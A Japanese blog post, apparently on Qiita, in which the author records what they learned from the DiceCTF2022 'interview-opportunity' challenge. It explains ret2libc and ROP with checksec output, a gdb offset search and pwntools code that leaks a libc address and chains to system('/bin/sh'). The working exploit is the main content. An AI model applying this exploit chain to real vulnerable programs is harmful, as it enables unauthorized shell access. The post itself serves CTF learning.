1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

DiceCTF2022 interview-opportunity

Last updated at Posted at 2022-03-13

はじめに

DiceCTF2022のinterview-opportunityで学んだことをまとめておきます。
writeupではなく、解き方も私が考えたものではないため、ご了承ください。

ret2libcとは

この問題ではret2libcという攻撃方法が用いられる。
これは、DEPによってスタックセグメントが実行不可能にされていた場合に、libcを用いて任意の関数を実行するというものである。

ROPとは

ROP(Return Oriented Programming)とは、元のコードの必要な部分を切り貼りして必要なコードを作り出すことである。
ret2libcを用いるときに複数の関数を用いるために、"gadget"と呼ばれる命令列を用いてそれらをつなげていくというものである。

ret2libcの流れ

1. スタックセグメントの確認

まずはスタックセグメントが実行可能であるかどうかを確認する。

$ checksec ./interview-opportunity
[*] ./interview-opportunity
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

Stackの部分を見ることで、スタックセグメントが実行可能かどうかが分かる。(今回は不可能)

2. オフセットを求める

コードを見るなり、逆アセンブルするなりして脆弱性を見つけることができたら、オフセットを求める。

gdb -q ./interview-opportunity
Reading symbols from ./interview-opportunity...
(No debugging symbols found in ./interview-opportunity)
gdb-peda$ set disassembly-flavor intel
gdb-peda$ pattern_create 120
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA'
gdb-peda$ r
Starting program: /home/kali/dicectf2022/interview-opportunity 
Thank you for you interest in applying to DiceGang. We need great pwners like you to continue our traditions and competition against perfect blue.
So tell us. Why should you join DiceGang?

Program received signal SIGALRM, Alarm clock.
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA'
Hello: 
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA�

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x4012b0 (<__libc_csu_init>:       endbr64)
RCX: 0x7ffff7ed4d53 (<__GI___libc_write+19>:    cmp    rax,0xfffffffffffff000)
RDX: 0x0 
RSI: 0x7ffff7fa5743 --> 0xfa7670000000000a 
RDI: 0x7ffff7fa7670 --> 0x0 
RBP: 0x41413b4141444141 ('AADAA;AA')
RSP: 0x7fffffffde88 (")AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA\377\177")
RIP: 0x4012a5 (<main+101>:      ret)
R8 : 0x49 ('I')
R9 : 0x0 
R10: 0xfffffffffffffb86 
R11: 0x246 
R12: 0x4010a0 (<_start>:        endbr64)
R13: 0x0 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)

gdb-peda$ patto AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA
AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA found at offset: 34

pattern_createでランダムな文字列を作り出し実行してみる。
pattoを用いRSPの文字列を入れることでオフセットを求めることができる。

3. gadgetのアドレスを見つける

pwntoolsというライブラリを使うと便利らしい。

elf = ELF("./interview-opportunity")
rop = ROP(elf) 

PUTS_PLT = elf.plt['puts']
PUTS_GOT = elf.got['puts']
MAIN_PLT = elf.symbols['main']
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
RET = (rop.find_gadget(['ret']))[0]

このコードが具体的に何をしているのかは理解できていないです。
おそらくバイナリから該当する部分を探しているのだろう。

4. libcのバージョンを求める

今回はlibcが与えられているので省略

5. libcのアドレスを求める

実行時のputsのアドレスからlibc内のputsのアドレスを引くことによって求められる。

PUTS_GOT = elf.got['puts']
PUTS_PLT = elf.symbols['puts']

p = process('./interview-opportunity')
p.recvuntil(b"?")

ropchain = b'A'  * offset + p64(POP_RDI) + p64(PUTS_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
p.sendline(ropchain)

p.interactive()

正直この実行時のputs関数のアドレスを求めるコードもいまいち理解できていない。

最初のPOP_RDIはその前の関数の引数をpopするためのもの?
先に来ているPUTS_GOTは引数で、PUTS_PLTが呼び出す方の関数?
GOTの方にlibcのアドレスが含まれていることから引数の方はGOTになるのは分かるが、関数を呼び出す方はPLTになるのはなぜ?
最後にMAIN_PLTが来るのはどうして?

といった具合である。

libc自体は与えられていることから、libc内のputsのアドレスは調べることができる。
これによってlibcのアドレスを求めることができる。libcのアドレスは必ず00で終わるらしい。

6. systemを呼び出す

BIN_SH = next(libc.search(b'/bin/sh'))
SYSTEM = libc.symbols['system']
EXIT = libc.symbols['exit']
                    
ropchain2 = b'A' * offset  + p64(POP_RDI) + p64(BIN_SH) + p64(SYSTEM) + p64(EXIT)

p.sendline(ropchain2)
p.interactive()

BIN_SHを引数にsystem関数を呼び出している。

まとめ

ret2libc、ROPの大まかな流れは理解できたが、細かな部分(特にlibcのアドレスを求める部分)で理解できないところがあった。
自分の中でかみ砕いて理解できれば追記しようと思う。

親切な方で「教えてあげるよ」という方がいれば、コメントしていただけると泣いて喜びます。

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?